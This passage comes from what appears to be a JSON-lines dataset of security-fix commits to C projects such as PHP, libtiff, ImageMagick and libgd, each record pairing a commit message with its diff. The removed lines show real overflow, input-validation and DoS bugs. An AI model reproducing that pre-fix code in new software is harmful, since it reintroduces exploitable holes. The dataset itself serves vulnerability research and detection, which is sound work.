type->match,\n+\t\t.match_data.cmp\t\t= key_default_cmp,\n \t\t.match_data.raw_data\t= description,\n \t\t.match_data.lookup_type\t= KEYRING_SEARCH_LOOKUP_DIRECT,\n \t};", "related": false}]} +{"owner": "php", "repo": "php-src", "language": "C", "file_name": "main/streams/xp_socket.c", "commit_id": "bab0b99f376dac9170ac81382a5ed526938d595a", "commit_message": "Detect invalid port in xp_socket parse ip address\n\nFor historical reasons, fsockopen() accepts the port and hostname\nseparately: fsockopen('127.0.0.1', 80)\n\nHowever, with the introdcution of stream transports in PHP 4.3,\nit became possible to include the port in the hostname specifier:\n\nfsockopen('127.0.0.1:80')\nOr more formally: fsockopen('tcp://127.0.0.1:80')\n\nConfusing results when these two forms are combined, however.\nfsockopen('127.0.0.1:80', 443) results in fsockopen() attempting\nto connect to '127.0.0.1:80:443' which any reasonable stack would\nconsider invalid.\n\nUnfortunately, PHP parses the address looking for the first colon\n(with special handling for IPv6, don't worry) and calls atoi()\nfrom there. atoi() in turn, simply stops parsing at the first\nnon-numeric character and returns the value so far.\n\nThe end result is that the explicitly supplied port is treated\nas ignored garbage, rather than producing an error.\n\nThis diff replaces atoi() with strtol() and inspects the\nstop character. If additional \"garbage\" of any kind is found,\nit fails and returns an error.", "patch": "@@ -571,37 +571,44 @@ static inline char *parse_ip_address_ex(const char *str, size_t str_len, int *po\n \tchar *host = NULL;\n \n #ifdef HAVE_IPV6\n-\tchar *p;\n-\n \tif (*(str) == '[' && str_len > 1) {\n \t\t/* IPV6 notation to specify raw address with port (i.e. [fe80::1]:80) */\n-\t\tp = memchr(str + 1, ']', str_len - 2);\n+\t\tchar *p = memchr(str + 1, ']', str_len - 2), *e = NULL;\n \t\tif (!p || *(p + 1) != ':') {\n \t\t\tif (get_err) {\n \t\t\t\t*err = strpprintf(0, \"Failed to parse IPv6 address \\\"%s\\\"\", str);\n \t\t\t}\n \t\t\treturn NULL;\n \t\t}\n-\t\t*portno = atoi(p + 2);\n+\t\t*portno = strtol(p + 2, &e, 10);\n+\t\tif (e && *e) {\n+\t\t\tif (get_err) {\n+\t\t\t\t*err = strpprintf(0, \"Failed to parse address \\\"%s\\\"\", str);\n+\t\t\t}\n+\t\t\treturn NULL;\n+\t\t}\n \t\treturn estrndup(str + 1, p - str - 1);\n \t}\n #endif\n+\n \tif (str_len) {\n \t\tcolon = memchr(str, ':', str_len - 1);\n \t} else {\n \t\tcolon = NULL;\n \t}\n+\n \tif (colon) {\n-\t\t*portno = atoi(colon + 1);\n-\t\thost = estrndup(str, colon - str);\n-\t} else {\n-\t\tif (get_err) {\n-\t\t\t*err = strpprintf(0, \"Failed to parse address \\\"%s\\\"\", str);\n+\t\tchar *e = NULL;\n+\t\t*portno = strtol(colon + 1, &e, 10);\n+\t\tif (!e || !*e) {\n+\t\t\treturn estrndup(str, colon - str);\n \t\t}\n-\t\treturn NULL;\n \t}\n \n-\treturn host;\n+\tif (get_err) {\n+\t\t*err = strpprintf(0, \"Failed to parse address \\\"%s\\\"\", str);\n+\t}\n+\treturn NULL;\n }\n \n static inline char *parse_ip_address(php_stream_xport_param *xparam, int *portno)", "sections": [{"section": "@@ -571,37 +571,44 @@ static inline char *parse_ip_address_ex(const char *str, size_t str_len, int *po\n \tchar *host = NULL;\n \n #ifdef HAVE_IPV6\n-\tchar *p;\n-\n \tif (*(str) == '[' && str_len > 1) {\n \t\t/* IPV6 notation to specify raw address with port (i.e. [fe80::1]:80) */\n-\t\tp = memchr(str + 1, ']', str_len - 2);\n+\t\tchar *p = memchr(str + 1, ']', str_len - 2), *e = NULL;\n \t\tif (!p || *(p + 1) != ':') {\n \t\t\tif (get_err) {\n \t\t\t\t*err = strpprintf(0, \"Failed to parse IPv6 address \\\"%s\\\"\", str);\n \t\t\t}\n \t\t\treturn NULL;\n \t\t}\n-\t\t*portno = atoi(p + 2);\n+\t\t*portno = strtol(p + 2, &e, 10);\n+\t\tif (e && *e) {\n+\t\t\tif (get_err) {\n+\t\t\t\t*err = strpprintf(0, \"Failed to parse address \\\"%s\\\"\", str);\n+\t\t\t}\n+\t\t\treturn NULL;\n+\t\t}\n \t\treturn estrndup(str + 1, p - str - 1);\n \t}\n #endif\n+\n \tif (str_len) {\n \t\tcolon = memchr(str, ':', str_len - 1);\n \t} else {\n \t\tcolon = NULL;\n \t}\n+\n \tif (colon) {\n-\t\t*portno = atoi(colon + 1);\n-\t\thost = estrndup(str, colon - str);\n-\t} else {\n-\t\tif (get_err) {\n-\t\t\t*err = strpprintf(0, \"Failed to parse address \\\"%s\\\"\", str);\n+\t\tchar *e = NULL;\n+\t\t*portno = strtol(colon + 1, &e, 10);\n+\t\tif (!e || !*e) {\n+\t\t\treturn estrndup(str, colon - str);\n \t\t}\n-\t\treturn NULL;\n \t}\n \n-\treturn host;\n+\tif (get_err) {\n+\t\t*err = strpprintf(0, \"Failed to parse address \\\"%s\\\"\", str);\n+\t}\n+\treturn NULL;\n }\n \n static inline char *parse_ip_address(php_stream_xport_param *xparam, int *portno)", "related": true}]} +{"owner": "vadz", "repo": "libtiff", "language": "C", "file_name": "libtiff/tif_pixarlog.c", "commit_id": "1044b43637fa7f70fb19b93593777b78bd20da86", "commit_message": "* libtiff/tif_pixarlog.c, libtiff/tif_luv.c: fix heap-based buffer\noverflow on generation of PixarLog / LUV compressed files, with\nColorMap, TransferFunction attached and nasty plays with bitspersample.\nThe fix for LUV has not been tested, but suffers from the same kind\nof issue of PixarLog.\nReported by Agostino Sarubbo.\nFixes http://bugzilla.maptools.org/show_bug.cgi?id=2604", "patch": "@@ -1233,8 +1233,10 @@ PixarLogPostEncode(TIFF* tif)\n static void\n PixarLogClose(TIFF* tif)\n {\n+ PixarLogState* sp = (PixarLogState*) tif->tif_data;\n \tTIFFDirectory *td = &tif->tif_dir;\n \n+\tassert(sp != 0);\n \t/* In a really sneaky (and really incorrect, and untruthful, and\n \t * troublesome, and error-prone) maneuver that completely goes against\n \t * the spirit of TIFF, and breaks TIFF, on close, we covertly\n@@ -1243,8 +1245,19 @@ PixarLogClose(TIFF* tif)\n \t * readers that don't know about PixarLog, or how to set\n \t * the PIXARLOGDATFMT pseudo-tag.\n \t */\n-\ttd->td_bitspersample = 8;\n-\ttd->td_sampleformat = SAMPLEFORMAT_UINT;\n+\n+ if (sp->state&PLSTATE_INIT) {\n+ /* We test the state to avoid an issue such as in\n+ * http://bugzilla.maptools.org/show_bug.cgi?id=2604\n+ * What appends in that case is that the bitspersample is 1 and\n+ * a TransferFunction is set. The size of the TransferFunction\n+ * depends on 1<td_bitspersample = 8;\n+ td->td_sampleformat = SAMPLEFORMAT_UINT;\n+ }\n }\n \n static void", "sections": [{"section": "@@ -1233,8 +1233,10 @@ PixarLogPostEncode(TIFF* tif)\n static void\n PixarLogClose(TIFF* tif)\n {\n+ PixarLogState* sp = (PixarLogState*) tif->tif_data;\n \tTIFFDirectory *td = &tif->tif_dir;\n \n+\tassert(sp != 0);\n \t/* In a really sneaky (and really incorrect, and untruthful, and\n \t * troublesome, and error-prone) maneuver that completely goes against\n \t * the spirit of TIFF, and breaks TIFF, on close, we covertly\n", "related": false}, {"section": "@@ -1243,8 +1245,19 @@ PixarLogClose(TIFF* tif)\n \t * readers that don't know about PixarLog, or how to set\n \t * the PIXARLOGDATFMT pseudo-tag.\n \t */\n-\ttd->td_bitspersample = 8;\n-\ttd->td_sampleformat = SAMPLEFORMAT_UINT;\n+\n+ if (sp->state&PLSTATE_INIT) {\n+ /* We test the state to avoid an issue such as in\n+ * http://bugzilla.maptools.org/show_bug.cgi?id=2604\n+ * What appends in that case is that the bitspersample is 1 and\n+ * a TransferFunction is set. The size of the TransferFunction\n+ * depends on 1<td_bitspersample = 8;\n+ td->td_sampleformat = SAMPLEFORMAT_UINT;\n+ }\n }\n \n static void", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/psd.c", "commit_id": "91cc3f36f2ccbd485a0456bab9aebe63b635da88", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/348", "patch": "@@ -2511,7 +2511,7 @@ static size_t WritePSDChannel(const PSDInfo *psd_info,\n next_image->depth=16;\n monochrome=IsImageMonochrome(image) && (image->depth == 1) ?\n MagickTrue : MagickFalse;\n- quantum_info=AcquireQuantumInfo(image_info,image);\n+ quantum_info=AcquireQuantumInfo(image_info,next_image);\n if (quantum_info == (QuantumInfo *) NULL)\n return(0);\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);", "sections": [{"section": "@@ -2511,7 +2511,7 @@ static size_t WritePSDChannel(const PSDInfo *psd_info,\n next_image->depth=16;\n monochrome=IsImageMonochrome(image) && (image->depth == 1) ?\n MagickTrue : MagickFalse;\n- quantum_info=AcquireQuantumInfo(image_info,image);\n+ quantum_info=AcquireQuantumInfo(image_info,next_image);\n if (quantum_info == (QuantumInfo *) NULL)\n return(0);\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);", "related": false}]} +{"owner": "clusterlabs", "repo": "pacemaker", "language": "C", "file_name": "lrmd/tls_backend.c", "commit_id": "5ec24a2642bd0854b884d1a9b51d12371373b410", "commit_message": "Fix: remote: cl#5269 - Notify other clients of a new connection only if the handshake has completed (bsc#967388)", "patch": "@@ -79,6 +79,9 @@ lrmd_remote_client_msg(gpointer data)\n g_source_remove(client->remote->auth_timeout);\n }\n client->remote->auth_timeout = 0;\n+\n+ /* Alert other clients of the new connection */\n+ notify_of_new_client(client);\n }\n return 0;\n }\n@@ -289,8 +292,6 @@ lrmd_remote_listen(gpointer data)\n &lrmd_remote_fd_cb);\n g_hash_table_insert(client_connections, new_client->id, new_client);\n \n- /* Alert other clients of the new connection */\n- notify_of_new_client(new_client);\n return TRUE;\n }\n ", "sections": [{"section": "@@ -79,6 +79,9 @@ lrmd_remote_client_msg(gpointer data)\n g_source_remove(client->remote->auth_timeout);\n }\n client->remote->auth_timeout = 0;\n+\n+ /* Alert other clients of the new connection */\n+ notify_of_new_client(client);\n }\n return 0;\n }\n", "related": false}, {"section": "@@ -289,8 +292,6 @@ lrmd_remote_listen(gpointer data)\n &lrmd_remote_fd_cb);\n g_hash_table_insert(client_connections, new_client->id, new_client);\n \n- /* Alert other clients of the new connection */\n- notify_of_new_client(new_client);\n return TRUE;\n }\n ", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "magick/draw.c", "commit_id": "989f9f88ea6db09b99d25586e912c921c0da8d3f", "commit_message": "Prevent buffer overflow (bug report from Max Thrane)", "patch": "@@ -2998,7 +2998,7 @@ MagickExport MagickBooleanType DrawImage(Image *image,const DrawInfo *draw_info)\n }\n length++;\n }\n- length=length*BezierQuantum/2;\n+ length=length*BezierQuantum;\n break;\n }\n case CirclePrimitive:", "sections": [{"section": "@@ -2998,7 +2998,7 @@ MagickExport MagickBooleanType DrawImage(Image *image,const DrawInfo *draw_info)\n }\n length++;\n }\n- length=length*BezierQuantum/2;\n+ length=length*BezierQuantum;\n break;\n }\n case CirclePrimitive:", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/pdb.c", "commit_id": "10b3823a7619ed22d42764733eb052c4159bc8c1", "commit_message": "Prevent buffer overflow in SIXEL, PDB, MAP, and CALS coders (bug report from Donghai Zhu)", "patch": "@@ -825,7 +825,7 @@ static MagickBooleanType WritePDBImage(const ImageInfo *image_info,Image *image)\n buffer=(unsigned char *) AcquireQuantumMemory(512,sizeof(*buffer));\n if (buffer == (unsigned char *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n- packet_size=(size_t) (image->depth > 8 ? 2: 1);\n+ packet_size=(size_t) (image->depth > 8 ? 2 : 1);\n scanline=(unsigned char *) AcquireQuantumMemory(image->columns,packet_size*\n sizeof(*scanline));\n if (scanline == (unsigned char *) NULL)\n@@ -838,6 +838,7 @@ static MagickBooleanType WritePDBImage(const ImageInfo *image_info,Image *image)\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n+ status=SetQuantumDepth(image,quantum_info,image->depth > 8 ? 16 : 8);\n bits=8/(int) bits_per_pixel-1; /* start at most significant bits */\n literal=0;\n repeat=0;", "sections": [{"section": "@@ -825,7 +825,7 @@ static MagickBooleanType WritePDBImage(const ImageInfo *image_info,Image *image)\n buffer=(unsigned char *) AcquireQuantumMemory(512,sizeof(*buffer));\n if (buffer == (unsigned char *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n- packet_size=(size_t) (image->depth > 8 ? 2: 1);\n+ packet_size=(size_t) (image->depth > 8 ? 2 : 1);\n scanline=(unsigned char *) AcquireQuantumMemory(image->columns,packet_size*\n sizeof(*scanline));\n if (scanline == (unsigned char *) NULL)\n", "related": false}, {"section": "@@ -838,6 +838,7 @@ static MagickBooleanType WritePDBImage(const ImageInfo *image_info,Image *image)\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n+ status=SetQuantumDepth(image,quantum_info,image->depth > 8 ? 16 : 8);\n bits=8/(int) bits_per_pixel-1; /* start at most significant bits */\n literal=0;\n repeat=0;", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/tiff.c", "commit_id": "10b3823a7619ed22d42764733eb052c4159bc8c1", "commit_message": "Prevent buffer overflow in SIXEL, PDB, MAP, and CALS coders (bug report from Donghai Zhu)", "patch": "@@ -2492,8 +2492,8 @@ static MagickBooleanType WriteGROUP4Image(const ImageInfo *image_info,\n (void) SetImageType(huffman_image,BilevelType);\n write_info=CloneImageInfo((ImageInfo *) NULL);\n SetImageInfoFile(write_info,file);\n- (void) SetImageType(image,BilevelType);\n (void) SetImageDepth(image,1);\n+ (void) SetImageType(image,BilevelType);\n write_info->compression=Group4Compression;\n write_info->type=BilevelType;\n (void) SetImageOption(write_info,\"quantum:polarity\",\"min-is-white\");", "sections": [{"section": "@@ -2492,8 +2492,8 @@ static MagickBooleanType WriteGROUP4Image(const ImageInfo *image_info,\n (void) SetImageType(huffman_image,BilevelType);\n write_info=CloneImageInfo((ImageInfo *) NULL);\n SetImageInfoFile(write_info,file);\n- (void) SetImageType(image,BilevelType);\n (void) SetImageDepth(image,1);\n+ (void) SetImageType(image,BilevelType);\n write_info->compression=Group4Compression;\n write_info->type=BilevelType;\n (void) SetImageOption(write_info,\"quantum:polarity\",\"min-is-white\");", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/pdb.c", "commit_id": "eedd0c35bb2d8af7aa05f215689fdebd11633fa1", "commit_message": "Prevent buffer overflow in SIXEL, PDB, MAP, and CALS coders (bug report from Donghai Zhu)", "patch": "@@ -826,7 +826,7 @@ static MagickBooleanType WritePDBImage(const ImageInfo *image_info,Image *image,\n buffer=(unsigned char *) AcquireQuantumMemory(512,sizeof(*buffer));\n if (buffer == (unsigned char *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n- packet_size=(size_t) (image->depth > 8 ? 2: 1);\n+ packet_size=(size_t) (image->depth > 8 ? 2 : 1);\n scanline=(unsigned char *) AcquireQuantumMemory(image->columns,packet_size*\n sizeof(*scanline));\n if (scanline == (unsigned char *) NULL)\n@@ -839,6 +839,7 @@ static MagickBooleanType WritePDBImage(const ImageInfo *image_info,Image *image,\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n+ status=SetQuantumDepth(image,quantum_info,image->depth > 8 ? 16 : 8);\n bits=8/(int) bits_per_pixel-1; /* start at most significant bits */\n literal=0;\n repeat=0;", "sections": [{"section": "@@ -826,7 +826,7 @@ static MagickBooleanType WritePDBImage(const ImageInfo *image_info,Image *image,\n buffer=(unsigned char *) AcquireQuantumMemory(512,sizeof(*buffer));\n if (buffer == (unsigned char *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n- packet_size=(size_t) (image->depth > 8 ? 2: 1);\n+ packet_size=(size_t) (image->depth > 8 ? 2 : 1);\n scanline=(unsigned char *) AcquireQuantumMemory(image->columns,packet_size*\n sizeof(*scanline));\n if (scanline == (unsigned char *) NULL)\n", "related": false}, {"section": "@@ -839,6 +839,7 @@ static MagickBooleanType WritePDBImage(const ImageInfo *image_info,Image *image,\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n+ status=SetQuantumDepth(image,quantum_info,image->depth > 8 ? 16 : 8);\n bits=8/(int) bits_per_pixel-1; /* start at most significant bits */\n literal=0;\n repeat=0;", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/tiff.c", "commit_id": "eedd0c35bb2d8af7aa05f215689fdebd11633fa1", "commit_message": "Prevent buffer overflow in SIXEL, PDB, MAP, and CALS coders (bug report from Donghai Zhu)", "patch": "@@ -2493,8 +2493,8 @@ static MagickBooleanType WriteGROUP4Image(const ImageInfo *image_info,\n (void) SetImageType(huffman_image,BilevelType,exception);\n write_info=CloneImageInfo((ImageInfo *) NULL);\n SetImageInfoFile(write_info,file);\n- (void) SetImageType(image,BilevelType,exception);\n (void) SetImageDepth(image,1,exception);\n+ (void) SetImageType(image,BilevelType,exception);\n write_info->compression=Group4Compression;\n write_info->type=BilevelType;\n (void) SetImageOption(write_info,\"quantum:polarity\",\"min-is-white\");", "sections": [{"section": "@@ -2493,8 +2493,8 @@ static MagickBooleanType WriteGROUP4Image(const ImageInfo *image_info,\n (void) SetImageType(huffman_image,BilevelType,exception);\n write_info=CloneImageInfo((ImageInfo *) NULL);\n SetImageInfoFile(write_info,file);\n- (void) SetImageType(image,BilevelType,exception);\n (void) SetImageDepth(image,1,exception);\n+ (void) SetImageType(image,BilevelType,exception);\n write_info->compression=Group4Compression;\n write_info->type=BilevelType;\n (void) SetImageOption(write_info,\"quantum:polarity\",\"min-is-white\");", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/rle.c", "commit_id": "13db820f5e24cd993ee554e99377fea02a904e18", "commit_message": "https://www.imagemagick.org/discourse-server/viewtopic.php?f=3&t=29710", "patch": "@@ -316,10 +316,11 @@ static Image *ReadRLEImage(const ImageInfo *image_info,ExceptionInfo *exception)\n number_planes_filled))\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixel_info=AcquireVirtualMemory(image->columns,image->rows*\n- number_planes_filled*sizeof(*pixels));\n+ MagickMax(number_planes_filled,4)*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n- pixel_info_length=image->columns*image->rows*number_planes_filled;\n+ pixel_info_length=image->columns*image->rows*\n+ MagickMax(number_planes_filled,4);\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n if ((flags & 0x01) && !(flags & 0x02))\n {", "sections": [{"section": "@@ -316,10 +316,11 @@ static Image *ReadRLEImage(const ImageInfo *image_info,ExceptionInfo *exception)\n number_planes_filled))\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixel_info=AcquireVirtualMemory(image->columns,image->rows*\n- number_planes_filled*sizeof(*pixels));\n+ MagickMax(number_planes_filled,4)*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n- pixel_info_length=image->columns*image->rows*number_planes_filled;\n+ pixel_info_length=image->columns*image->rows*\n+ MagickMax(number_planes_filled,4);\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n if ((flags & 0x01) && !(flags & 0x02))\n {", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/studio.h", "commit_id": "0f6fc2d5bf8f500820c3dbcf0d23ee14f2d9f734", "commit_message": "", "patch": "@@ -46,9 +46,6 @@ extern \"C\" {\n #if defined(_magickcore_inline) && !defined(inline)\n # define inline _magickcore_inline\n #endif\n-#if defined(_magickcore_restrict) && !defined(restrict)\n-# define restrict _magickcore_restrict\n-#endif\n # if defined(__cplusplus) || defined(c_plusplus)\n # undef inline\n # endif\n@@ -75,6 +72,9 @@ extern \"C\" {\n # include \n # endif\n #endif\n+#if defined(_magickcore_restrict) && !defined(restrict)\n+# define restrict _magickcore_restrict\n+#endif\n #if defined(MAGICKCORE_HAVE_STRING_H)\n # if !defined(STDC_HEADERS) && defined(MAGICKCORE_HAVE_MEMORY_H)\n # include ", "sections": [{"section": "@@ -46,9 +46,6 @@ extern \"C\" {\n #if defined(_magickcore_inline) && !defined(inline)\n # define inline _magickcore_inline\n #endif\n-#if defined(_magickcore_restrict) && !defined(restrict)\n-# define restrict _magickcore_restrict\n-#endif\n # if defined(__cplusplus) || defined(c_plusplus)\n # undef inline\n # endif\n", "related": false}, {"section": "@@ -75,6 +72,9 @@ extern \"C\" {\n # include \n # endif\n #endif\n+#if defined(_magickcore_restrict) && !defined(restrict)\n+# define restrict _magickcore_restrict\n+#endif\n #if defined(MAGICKCORE_HAVE_STRING_H)\n # if !defined(STDC_HEADERS) && defined(MAGICKCORE_HAVE_MEMORY_H)\n # include ", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/version.h", "commit_id": "0f6fc2d5bf8f500820c3dbcf0d23ee14f2d9f734", "commit_message": "", "patch": "@@ -27,7 +27,7 @@ extern \"C\" {\n */\n #define MagickPackageName \"ImageMagick\"\n #define MagickCopyright \"Copyright (C) 1999-2015 ImageMagick Studio LLC\"\n-#define MagickSVNRevision \"18658:18662M\"\n+#define MagickSVNRevision \"18670M\"\n #define MagickLibVersion 0x700\n #define MagickLibVersionText \"7.0.0\"\n #define MagickLibVersionNumber 0,0,0\n@@ -48,12 +48,12 @@ extern \"C\" {\n #define MagickppLibAddendum \"-0\"\n #define MagickppLibInterface 0\n #define MagickppLibMinInterface 0\n-#define MagickReleaseDate \"2015-05-26\"\n+#define MagickReleaseDate \"2015-05-29\"\n #define MagickChangeDate \"20120427\"\n #define MagickAuthoritativeLicense \\\n \"http://www.imagemagick.org/script/license.php\"\n #define MagickAuthoritativeURL \"http://www.imagemagick.org\"\n-#define MagickFeatures \"DPC HDRI OpenMP\"\n+#define MagickFeatures \"DPC HDRI Cipher OpenMP\"\n #define MagickDelegates \"bzlib djvu mpeg fftw fpx fontconfig freetype jbig jng jpeg lcms lzma openexr pango png ps tiff webp x xml zlib\"\n #define MagickHomeURL \"file:///usr/local/share/doc/ImageMagick-7/index.html\"\n #if (MAGICKCORE_QUANTUM_DEPTH == 8)", "sections": [{"section": "@@ -27,7 +27,7 @@ extern \"C\" {\n */\n #define MagickPackageName \"ImageMagick\"\n #define MagickCopyright \"Copyright (C) 1999-2015 ImageMagick Studio LLC\"\n-#define MagickSVNRevision \"18658:18662M\"\n+#define MagickSVNRevision \"18670M\"\n #define MagickLibVersion 0x700\n #define MagickLibVersionText \"7.0.0\"\n #define MagickLibVersionNumber 0,0,0\n", "related": false}, {"section": "@@ -48,12 +48,12 @@ extern \"C\" {\n #define MagickppLibAddendum \"-0\"\n #define MagickppLibInterface 0\n #define MagickppLibMinInterface 0\n-#define MagickReleaseDate \"2015-05-26\"\n+#define MagickReleaseDate \"2015-05-29\"\n #define MagickChangeDate \"20120427\"\n #define MagickAuthoritativeLicense \\\n \"http://www.imagemagick.org/script/license.php\"\n #define MagickAuthoritativeURL \"http://www.imagemagick.org\"\n-#define MagickFeatures \"DPC HDRI OpenMP\"\n+#define MagickFeatures \"DPC HDRI Cipher OpenMP\"\n #define MagickDelegates \"bzlib djvu mpeg fftw fpx fontconfig freetype jbig jng jpeg lcms lzma openexr pango png ps tiff webp x xml zlib\"\n #define MagickHomeURL \"file:///usr/local/share/doc/ImageMagick-7/index.html\"\n #if (MAGICKCORE_QUANTUM_DEPTH == 8)", "related": false}]} +{"owner": "libgd", "repo": "libgd", "language": "C", "file_name": "src/gd_gd2.c", "commit_id": "fe9ed49dafa993e3af96b6a5a589efeea9bfb36f", "commit_message": "Fix DOS vulnerability in gdImageCreateFromGd2Ctx()\n\nWe must not pretend that there are image data if there are none. Instead\nwe fail reading the image file gracefully.", "patch": "@@ -503,18 +503,16 @@ BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)\n \n \t\t\t\t\t\tif (im->trueColor) {\n \t\t\t\t\t\t\tif (!gdGetInt (&im->tpixels[y][x], in)) {\n-\t\t\t\t\t\t\t\t/*printf(\"EOF while reading\\n\"); */\n-\t\t\t\t\t\t\t\t/*gdImageDestroy(im); */\n-\t\t\t\t\t\t\t\t/*return 0; */\n-\t\t\t\t\t\t\t\tim->tpixels[y][x] = 0;\n+\t\t\t\t\t\t\t\tgd_error(\"gd2: EOF while reading\\n\");\n+\t\t\t\t\t\t\t\tgdImageDestroy(im);\n+\t\t\t\t\t\t\t\treturn NULL;\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t} else {\n \t\t\t\t\t\t\tint ch;\n \t\t\t\t\t\t\tif (!gdGetByte (&ch, in)) {\n-\t\t\t\t\t\t\t\t/*printf(\"EOF while reading\\n\"); */\n-\t\t\t\t\t\t\t\t/*gdImageDestroy(im); */\n-\t\t\t\t\t\t\t\t/*return 0; */\n-\t\t\t\t\t\t\t\tch = 0;\n+\t\t\t\t\t\t\t\tgd_error(\"gd2: EOF while reading\\n\");\n+\t\t\t\t\t\t\t\tgdImageDestroy(im);\n+\t\t\t\t\t\t\t\treturn NULL;\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t\tim->pixels[y][x] = ch;\n \t\t\t\t\t\t}", "sections": [{"section": "@@ -503,18 +503,16 @@ BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)\n \n \t\t\t\t\t\tif (im->trueColor) {\n \t\t\t\t\t\t\tif (!gdGetInt (&im->tpixels[y][x], in)) {\n-\t\t\t\t\t\t\t\t/*printf(\"EOF while reading\\n\"); */\n-\t\t\t\t\t\t\t\t/*gdImageDestroy(im); */\n-\t\t\t\t\t\t\t\t/*return 0; */\n-\t\t\t\t\t\t\t\tim->tpixels[y][x] = 0;\n+\t\t\t\t\t\t\t\tgd_error(\"gd2: EOF while reading\\n\");\n+\t\t\t\t\t\t\t\tgdImageDestroy(im);\n+\t\t\t\t\t\t\t\treturn NULL;\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t} else {\n \t\t\t\t\t\t\tint ch;\n \t\t\t\t\t\t\tif (!gdGetByte (&ch, in)) {\n-\t\t\t\t\t\t\t\t/*printf(\"EOF while reading\\n\"); */\n-\t\t\t\t\t\t\t\t/*gdImageDestroy(im); */\n-\t\t\t\t\t\t\t\t/*return 0; */\n-\t\t\t\t\t\t\t\tch = 0;\n+\t\t\t\t\t\t\t\tgd_error(\"gd2: EOF while reading\\n\");\n+\t\t\t\t\t\t\t\tgdImageDestroy(im);\n+\t\t\t\t\t\t\t\treturn NULL;\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t\tim->pixels[y][x] = ch;\n \t\t\t\t\t\t}", "related": false}]} +{"owner": "libgd", "repo": "libgd", "language": "C", "file_name": "tests/tga/heap_overflow.c", "commit_id": "58b6dde319c301b0eae27d12e2a659e067d80558", "commit_message": "Fix OOB reads of the TGA decompression buffer\n\nIt is possible to craft TGA files which will overflow the decompression\nbuffer, but not the image's bitmap. Therefore we also have to check for\npotential decompression buffer overflows.\n\nThis issue had been reported by Ibrahim El-Sayed to security@libgd.org;\na modified case exposing an off-by-one error of the first patch had been\nprovided by Konrad Beckmann.\n\nThis commit is an amendment to commit fb0e0cce, so we use CVE-2016-6906\nas well.", "patch": "@@ -1,27 +1,35 @@\n /**\n- * Test that the crafted TGA file doesn't trigger OOB reads.\n+ * Test that crafted TGA files don't trigger OOB reads.\n */\n \n \n #include \"gd.h\"\n #include \"gdtest.h\"\n \n \n+static void check_file(char *basename);\n static size_t read_test_file(char **buffer, char *basename);\n \n \n int main()\n+{\n+ check_file(\"heap_overflow_1.tga\");\n+ check_file(\"heap_overflow_2.tga\");\n+\n+ return gdNumFailures();\n+}\n+\n+\n+static void check_file(char *basename)\n {\n gdImagePtr im;\n char *buffer;\n size_t size;\n \n- size = read_test_file(&buffer, \"heap_overflow.tga\");\n+ size = read_test_file(&buffer, basename);\n im = gdImageCreateFromTgaPtr(size, (void *) buffer);\n gdTestAssert(im == NULL);\n free(buffer);\n-\n- return gdNumFailures();\n }\n \n ", "sections": [{"section": "@@ -1,27 +1,35 @@\n /**\n- * Test that the crafted TGA file doesn't trigger OOB reads.\n+ * Test that crafted TGA files don't trigger OOB reads.\n */\n \n \n #include \"gd.h\"\n #include \"gdtest.h\"\n \n \n+static void check_file(char *basename);\n static size_t read_test_file(char **buffer, char *basename);\n \n \n int main()\n+{\n+ check_file(\"heap_overflow_1.tga\");\n+ check_file(\"heap_overflow_2.tga\");\n+\n+ return gdNumFailures();\n+}\n+\n+\n+static void check_file(char *basename)\n {\n gdImagePtr im;\n char *buffer;\n size_t size;\n \n- size = read_test_file(&buffer, \"heap_overflow.tga\");\n+ size = read_test_file(&buffer, basename);\n im = gdImageCreateFromTgaPtr(size, (void *) buffer);\n gdTestAssert(im == NULL);\n free(buffer);\n-\n- return gdNumFailures();\n }\n \n ", "related": false}]} +{"owner": "ioquake", "repo": "ioq3", "language": "C", "file_name": "code/client/cl_main.c", 